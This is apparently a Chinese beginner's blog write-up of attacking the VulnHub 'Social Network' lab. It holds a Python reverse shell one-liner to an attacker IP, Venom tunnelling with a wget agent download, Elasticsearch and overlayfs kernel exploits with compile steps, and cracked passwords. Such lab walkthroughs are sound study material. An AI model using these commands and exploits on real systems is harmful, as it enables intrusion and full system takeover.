红队/渗透 — 和我一起来打靶/第一周SOCIAL NETWORK靶场

0x01 下载地址

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

0x02 靶机目标

获取靶机root权限

参考:

https://www.yuque.com/u12309007/zmeg8l/wokukx
https://blog.csdn.net/qq_42947816/article/details/124699492
https://blog.csdn.net/laozhang338/article/details/131871999
刚开始学习渗透,内容参考视频和一些网上的教程,可能自己写的流程有点混乱,或者有地方说错,理解错的,请各位指出,谢谢!!

0x03 实战

1.信息探测

扫描主机信息,扫描端口信息,得到靶机开放22和5000;靶机为系统Ubuntu;
Werkzeug是基于python语言进行web应用开发地底层框架,所以服务器端运行地编程语言为python,此处显示了版本号。

nmap -p 22,5000 -sV 170.20.10.2

在这里插入图片描述
访问一下5000端口页面,准备搜索一下后台目录
在这里插入图片描述

dirsearch -u http://172.20.10.2:5000/

在这里插入图片描述

2.反弹shell

进入admin页面,这是一个代码执行地页面,如果web应用程序过滤不严,可以尝试上传一个反弹shell的代码,且因为架构为python,故选择python语言写
在这里插入图片描述
https://forum.ywhack.com/reverse-shell/#在网站上生成一个python2写的反弹shell,成功了
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.3.18”,5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(“sh”)
获得反弹shell
在这里插入图片描述

3.确认docker环境

查看信息,已经是root权限,但没那么容易,这里还有一个Dockerfile,可能意味着当前取得权限的操作系统是一个docker容器的操作系统
在这里插入图片描述
具体知识:Dockerfile是一种用于定义Docker镜像的文本文件。通过一系列的指令和参数来描述镜像的构建过程。通过编写Dockerfile,开发人员可以定义镜像的基础操作系统、安装软件包、复制文件、设置环境变量等。Docker根据Dockerfile中的指令来构建镜像,这样可以确保在不同的环境中以相同的方式复制和运行应用程序。
在这里插入图片描述
chatgpt解释:这个Dockerfile用于构建一个Python应用的Docker镜像。以下是Dockerfile的详细解释:这行指定了用于构建Docker镜像的基础镜像。在这里,它使用的是python:2.7-alpine镜像,这是一个基于Alpine Linux的轻量级Python 2.7镜像。

FROM python:2.7-alpine

这行将当前目录(包含Dockerfile的目录)的内容复制到Docker镜像内的/app目录。

COPY . /app

这行将工作目录设置为Docker镜像内的/app目录。这意味着任何后续的命令都将在该目录中执行。

WORKDIR /app

这行安装requirements.txt文件中指定的Python依赖项。RUN指令用于在镜像构建过程中执行命令。

RUN pip install -r requirements.txt

这行指定了在从此镜像启动容器时要运行的命令。它使用Python解释器执行main.py文件。

CMD ["python", "/app/main.py"]

被注释掉的行(#docker build -t socnet .和#docker run -td --rm -p 8080:8080 socnet)是用于构建和运行Docker镜像的示例命令。要构建镜像,可以运行docker build命令,要从镜像运行容器,则使用docker run命令。
Tip:判断主机为Docker容器的两种方法:
方法一:确认根目录下是否存在.dockerenv文件
方法二:查看/proc/1/cgroup是否存在docker目录
在这里插入图片描述
当前系统是一个docker容器,要从隔离的环境下找到宿主机;
ip addr 进一步确认,查看ip
在这里插入图片描述

4.探测内网其他主机

在内网网段里扫描是否有其他的主机,可以把内网网段里的每个网段ping一下,探测是否存在;通过脚本实现循环探测;

for i in $(seq 1 65535);do ping -c 1 172.17.0.$i;done

有两个ip地址回包,172.17.0.1,172.17.0.2
在这里插入图片描述

5.内网穿透

对172.17.0.1和2进行端口扫描,查看服务;但要通过内网穿透技术进入,使用工具venom;进入venom目录,先在kali运行服务端,在本地监听端口,等待目标容器系统建立反弹连接

./admin_linux_x64 -lport 9999

在这里插入图片描述
然后需要将agent上传到目标机,先在kali启动http服务,在目标机上执行wget下载agent程序;用python3调用http模块,启动server,侦听80端口,这里说服务已经打开了,去目标机试下,确实能够下载
在这里插入图片描述
在这里插入图片描述
下载agent成功,因为在做前面靶场复制过了

wget http://渗透机kali的ip/agent_linux_x64

在这里插入图片描述
先赋予agent执行权限,然后运行,连接kali服务器端

chmod +x agent_linux_x64
./agent_linux_x64 -r渗透机ip -rport 9999

在这里插入图片描述
show一下,看到已经有节点1了,在节点上启动socks监听端口1080

show
goto 1
socks 1080

在这里插入图片描述
proxychains用于通过代理服务器进行网络连接,修改一下proxychains的配置文件,
在这里插入图片描述
改最后一行为socks5,端口号1080
在这里插入图片描述

6.内网探测

对之前发现的两个IP进行扫描,有两个端口开放;这里内网开放端口跟最开始靶机开放端口一致

proxychains nmap -Pn -sT 172.17.0.1

在这里插入图片描述

探测一下服务,跟最初扫描结果一样

proxychains nmap -p22,5000 -Pn -sT -sV 172.17.0.1

在这里插入图片描述

想在浏览器上访问一下,需要修改浏览器代理为socks5,端口为1080;网页内容也一致
在这里插入图片描述

先不扫他的后台试试是否admin页面也一样
在这里插入图片描述

7.Elasticsearch漏洞利用

说明172.17.0.1就是宿主机192.168.3.19,只是172.17.0.1是它面向容器内网的ip;接下来探测172.17.0.2

proxychains nmap -Pn -sT 172.17.0.2
proxychains nmap -Pn -sT -sV 172.17.0.2

根据之前靶场的经验,9200端口对应的服务是Elasticsearch(这里版本为1.4.2),可以用searchsploit搜索可利用漏洞
在这里插入图片描述
在这里插入图片描述searchsploit Elasticsearch
在这里插入图片描述

可以把第一个漏洞利用代码先拷贝到当前地址查看一下源码(有些固定地址最好记忆一下,或者locate一下获得)(实际上漏洞利用的时候是逐个代码尝试)

cp /usr/share/exploitdb/exploits/linux/remote/36337.py .
vim 36337.py

源码使用的是python2,还会提示使用格式
在这里插入图片描述

利用成功,而且是root权限

proxychains python2 36337.py 172.17.0.2

在这里插入图片描述

8.linux内核提权

进入后目录底下有一段密码的哈希值,在线解密一下MD5免费在线解密破解_MD5在线加密-SOMD5
在这里插入图片描述

john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
这些账号可能用于开放了22(ssh)端口的ip地址,回忆一下靶机最初的地址开放了22端口;尝试了第一个账号,成功
在这里插入图片描述
查看权限,并没有sudo权限,普通用户

sudo -s

在这里插入图片描述
考虑利用内核漏洞提权,查看版本号搜索对应的漏洞
searchsploit Linux 3.13在这里插入图片描述在这里插入图片描述
在这里插入图片描述

实际上的场景中会逐个尝试,这里选中了上面这条;先拷贝到当前目录,然后查看一下

cp /usr/share/exploitdb/exploits/linux/local/37292.c

cve介绍,使用gcc编译,提权成功;但目标靶机上没有安装gcc,所以先在kali本机上进行gcc编译
在这里插入图片描述

这句代码意思是,定义了一个变量,该变量调用system函数,通过函数执行系统命令,命令中再次调用了gcc去查找c语言中的一个库文件ofs-lib.c,再编译成对应的so文件ofs-lib.so(二进制文件)
看不懂时可以丢给chagpt:这句代码是使用系统命令gcc来编译一个名为/tmp/ofs-lib.c的C源代码文件,并将其编译为一个共享对象(shared object)文件。编译后的共享对象文件将被命名为/tmp/ofs-lib.so。
在这里插入图片描述
所以即使在本机用gcc编译之后得到二进制文件,利用时还是会再次执行gcc编译;教程中说可以通过修改源码。思路是在kali中直接找到ofs-lib.so(二进制文件),修改该段源码,不再去执行gcc编译,而是直接读取调用ofs-lib.so。
删除涉及到编译库文件的指令。
在这里插入图片描述

对已经修改后的代码在kali上编译,输出文件为exp。编译后有warning,不影响最终执行结果

gcc -o exp 37292.c

在这里插入图片描述
在这里插入图片描述

执行exp文件还需要配合已经编译好的由库文件生成的二进制文件ofs-lib.so,通过源码知道库文件的名称,在kali中搜索,找到后copy到当前路径
在这里插入图片描述

将这两个文件拷贝kali的Web 服务器的默认根文件夹/var/www/html,方便靶机下载
在这里插入图片描述在这里插入图片描述

为了两个文件执行成功,拷贝到靶机的tmp目录下
在这里插入图片描述

chmod +x exp
./exp

exp执行时会调用ofs-lib.so,成功后获得root权限,但这里报错,意思是:
正在运行exp的可执行文件,但它需要系统中的GLIBC_2.34版本,而您的系统中安装的libc.so.6(C库)版本低于要求。
在这里插入图片描述
解决方法是要升级系统或者重新编译exp以适应当前系统中可用的GLIBC版本。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值